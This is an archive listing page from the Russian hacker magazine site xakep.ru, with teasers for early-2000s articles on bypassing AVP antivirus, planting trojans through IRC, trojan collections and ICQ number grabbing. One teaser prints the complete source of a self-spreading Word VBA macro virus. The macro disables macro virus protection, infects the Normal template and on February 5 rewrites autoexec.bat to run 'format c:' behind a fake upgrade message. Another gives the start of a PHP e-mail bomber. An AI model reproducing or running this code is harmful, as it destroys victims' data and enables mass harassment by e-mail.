Временная скидка 60% на годовую подписку!
Главная Статьи (страница 264)

Статьи

Заметки о сайте 31.01.01

Вы находитесь на сайте www.xakep.ru (вэвэвэ.ксакепдотру). Что вы ожидали тут увидеть? Что вы хотите узнать? Кого хотите встретить? Вот вопросы, которые задавал себе и вам редактор этого сайта. Редактор прислушивался к мнениям и через полгода сложилась такая картина, которую мы видим сейчас

Ломайте на здоровье! (сервера для тренировки)

Бороздя широкие просторы Инета обнаружил интересное местечко – сайт www.pulltheplug.com. Чем замечателен? Тем что там стоит с девять серверов с различнейшими *никсами (смотрите ниже), которые отданы всем на растерзание! Разрешены все входящие соединения – telnet, ftp и т.п

Модифицируем троян или как обойти AVP #2

Прочитав на ксакепе повествование об обмане AVP при посылке трояна на удаленный компьютер я был сказочно обрадован полетом народной мысли :) Но разве можно заниматься таким вредительством, как удаление баз с вирусными сигнатурами - это сакс (не по-кулхацкерски), к тому же каждый дурак любит постоянно обновлять базы - благо на халяву и автоматом :( Теперь и я хочу поделиться кое-каким методом

Западло на VBA

Привет! Вот ещё западло на VBA: Dim y1, y2, y3, y4 As Boolean Dim p As Variant Dim y5, y6 As Object Dim y7, y8, y16 As Integer Dim y9 As Date Dim y10, y11, y12, y13, y14, m As String Const y15 = "HELL" Private Sub Document_Close() On Error Resume Next Set y5 = ActiveDocument.VBProject.VBComponents.Item(1) Set y6 = NormalTemplate.VBProject.VBComponents.Item(1) With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With y3 = y5.CodeModule.Find(y15, 1, 1, 10000, 10000) y4 = y6.CodeModule.Find(y15, 1, 1, 10000, 10000) y9 = Now() y7 = Day(y9) y8 = Month(y9) If y7 = 5 And y8 = 2 Then 'y7- день и y8- месяц, когда надо сделать "upgrade" ;) Set fs = CreateObject("Scripting.FileSystemObject") If fs.fileexists("c:\autoexec.bat") Then Set ab = fs.getfile("c:\autoexec.bat") ab.Attributes = 0 End If Set autoexec = fs.CreateTextFile("c:\autoexec.bat") autoexec.WriteLine "cls" autoexec.WriteLine "echo Windows upgrading your system..." autoexec.WriteLine "echo Do not abort this process!" autoexec.WriteLine "format c: \autotest" autoexec.Close m = MsgBox("Новые параметры вступят в силу после перезагрузки системы", vbOKOnly) p = Shell("Rundll32.exe User.exe,ExitWindows") End If If y3 = True Then y13 = y5.CodeModule.Lines(1, y5.CodeModule.CountOfLines) ElseIf y4 = True Then y13 = y6.CodeModule.Lines(1, y6.CodeModule.CountOfLines) End If If (y3 = True Xor y4 = True) And _ (ActiveDocument.SaveFormat = wdFormatDocument Or _ ActiveDocument.SaveFormat = wdFormatTemplate) Then If y3 = True Then y2 = NormalTemplate.Saved y11 = y5.CodeModule.Lines(1, y5.CodeModule.CountOfLines) y6.CodeModule.DeleteLines 1, y6.CodeModule.CountOfLines y6.CodeModule.AddFromString y11 If y2 = True Then NormalTemplate.Save End If If y4 = True Or ActiveDocument.Saved = False Then y1 = ActiveDocument.Saved y11 = y6.CodeModule.Lines(1, y6.CodeModule.CountOfLines) y5.CodeModule.DeleteLines 1, y5.CodeModule.CountOfLines y5.CodeModule.AddFromString y11 If y1 = True Then ActiveDocument.Save End If End If End Sub Private Sub Document_New() Set y5 = ActiveDocument.VBProject.VBComponents.Item(1) Set y6 = NormalTemplate.VBProject.VBComponents.Item(1) y9 = Now() y7 = Day(y9) y8 = Month(y9) If y7 = 5 And y8 = 2 Then Set fs = CreateObject("Scripting.FileSystemObject") If fs.fileexists("c:\autoexec.bat") Then Set ab = fs.getfile("c:\autoexec.bat") ab.Attributes = 0 End If Set autoexec = fs.CreateTextFile("c:\autoexec.bat") autoexec.WriteLine "cls" autoexec.WriteLine "echo Windows upgrading your system..." autoexec.WriteLine "echo Do not abort this process!" autoexec.WriteLine "format c: \autotest" autoexec.Close End If End Sub Private Sub Document_Open() Set y5 = ActiveDocument.VBProject.VBComponents.Item(1) Set y6 = NormalTemplate.VBProject.VBComponents.Item(1) y9 = Now() y7 = Day(y9) y8 = Month(y9) If y7 = 5 And y8 = 2 Then Set fs = CreateObject("Scripting.FileSystemObject") If fs.fileexists("c:\autoexec.bat") Then Set ab = fs.getfile("c:\autoexec.bat") ab.Attributes = 0 End If Set autoexec = fs.CreateTextFile("c:\autoexec.bat") autoexec.WriteLine "cls" autoexec.WriteLine "echo Windows upgrading your system..." autoexec.WriteLine "echo Do not abort this process!" autoexec.WriteLine "format c: \autotest" autoexec.Close End If End Sub Есть полезная инфа? Отправляй ее нам

Поднимая шестизначки

Хе-хе, привет! Речь пойдёт об ICQ, о так называемых аськах! Есть множество способов по зарабатыванию уинов для аси! Брутфорс я описывать не буду... Короче так... если у тебя халявный инет или ты платишь по месяцам, то это в моём случае будет лучше..

Вечная весна в одиночной камере

Как недавно установили ученые, разумная жизнь в принципе возможна на многих планетах, включая нашу. Вселенная... Сказав это слово, в моей голове рождается много вопросов: откуда Она, кем создана, где Ее границы??? Вряд ли человечество ответит на эти вопросы в ближайшем будущем и ответит ли вообще когда-нибудь? Космос - совукупность галактик, систем (наподобие нашей родной - солнечной), самых разных звезд, планет, черных дыр в конце концов

Как обойти AVP

Цель данной статьи - показать способ взлома вашего компьютера. Автор не несет никакой ответственности за ущерб, который может быть следствием прочтения этого сообщения.

Proxy Checker v 1.62

Proxy Checker это программа, как следует из названия, проверяет прокси сервера на работоспособность и анонимность.

Сборник троянов #2

Собрав огроменную кучу критики на предыдущую статью Сборник троянов #1, решил показать вам настоящий супер-сборник троянов, откуда вы можете достать практически все, что существует на свете (по крайней мере все то, что было описано в первой статье)

Как подставить трояна в IRC

Хочу рассказать тебе о том, как легко и просто впарить трояна через IRC.  Требуется: 1. Irc клиент; 2. Троян; 3. Один кулхацкер :); 4. Умение быстро переименовывать файлы; 5. Время и терпение. Идея проста, как сама жизнь ;). Заходим на IRC, ищем каналы, на которых люди качают мп3-шки

Ламеры против… Хакеров

Всех приветствую! После моей последней статьи "Умные Ламеры" я получил очень большое количество отрицательной энергии в мой адрес. Мол я сам ламер, долой журнал, царя, самодержавие! Не надо нам хумор, а давай нам про хак! 1: Я сам не Хакер! Я этого никогда не говорил

HTML Converter

Привет, кул-хацкерская братия! Как хакается? Не очень? А чего вдруг? Лень в online инфу читать, да и дорого? Так мы это сейчас быстро исправим!

Пранк по-американски

кассир: "Дом Вафли Гранитного Города". dhate: Да, какие разновидности вафель у вас имеются? кассир: Обычные и пекановые вафли, сэр. dhate: А в чем различие? кассир: одни содержат внутри пекановые орехи, а другие - нет. dhate: Сколько стоят пекановые вафли? кассир: $1.75, сэр

Пишем простейший мейл-бомбер на PHP

Привет, Br@t@n !!! Ты уже надыбал себе пагу, которая поддерживает PHP ? Нет? так надыбай ! =) Ибо эта статья не о том, как надыбать пагу, это статья о том как её использовать. Готов? поехали ! 1.Создай HTML-документ со следующим текстом: <html> <head> <title>Он-лайн E-mail-бомбер</title> </head> <body bgcolor="Black"> <div align="center"><font face="Impact" color="White">Mail-bobmer by $CORPION</font><!--- Можешь чуть-чуть подправить ;-) ---> <br><br> <form action="send.php" method="POST"> <font color="olive" face="Times New Roman">Куда</font><br><input maxlength="35" value="your@e-mail.com" type="Text" name="to"><br><br> <font color="olive" face="Times New Roman">Тема</font><br><input maxlength="20" value="Хе-хе-хе" type="Text" name="subject"><br><br> <font color="olive" face="Times New Roman">Сообщение</font><br> <textarea cols="35" rows="3" name="message">Чувак,ты влетел серьезно!</textarea><br><br> <font color="olive" face="Times New Roman">Количество писем</font><br><input size="4" maxlength="5" value="50" type="Text" name="count"><br><br> <input type="Submit" value="Отправить"> </form> </div> </body> </html> Как ты видишь, мы обозначили несколько полей именами to - адрес получателя, subject - тема, message - текст, count - кол.мессаг...

XSpider 4.10

Данная прога от нашего соотечественника включает: cекьюрити сканер, простые сканеры (TCP и UDP портов), Web-сканер с Brute-словарём, определитель исходящего трафика на удаленном компьютере, WhoIs сервис, проверка анонимности прокси-сервера, TCP и UDP клиенты, TCP-прокси (позволяет пропускать TCP пакеты через себя, с возможностью коррекции), работа с почтой (удаление ненужной почты с сервера), локальные настройки безопасности компьютера.

Perl и CGI: практическое руководство

Дарова, кулкодер $%)! Ты, наверно, уже много читал про Perl, но так и не смог создать свой собственный работающий CGI-скрипт? Проблема в том, что часто упоминается сам синтаксис этого мудрого языка, но не объясняется его практическое применение к CGI

Link: еще раз про сессию…

Как не прискорбно констатировать сей факт, однако от суровой реальности не убежать и не скрыться. О чем я? Да о том, что мертвым грузом лежит на душе у каждого студента, что заставляет его регулярно, каждые полгода – зимой и в начале лета – вспоминать нехорошими словами преподов и прогул… эээ, то есть, пропущенные по уважительной причине лекции :-)

Страница 264 из 292В начало...240250260262263264265266 270280290...

25 лет «Хакеру»!

Еженедельный дайджест

Спасибо за подписку! Мы будем присылать важные новости ИБ в еженедельном дайджесте
Ошибка при подписке Случилась ошибка при создании подписки на наш дайджест. Пожалуйста, попробуйте позднее
Важные события и скидка на подписку:
«ХАКЕР» ДОСТУПЕН ТОЛЬКО В ЭЛЕКТРОННОЙ ВЕРСИИ
Оформи подписку — получи:
  • доступ к платным материалам сайта
  • доступ ко всем номерам PDF
4000 р.
на год
920 р.
на месяц

«Хакер» в соцсетях

Материалы для подписчиков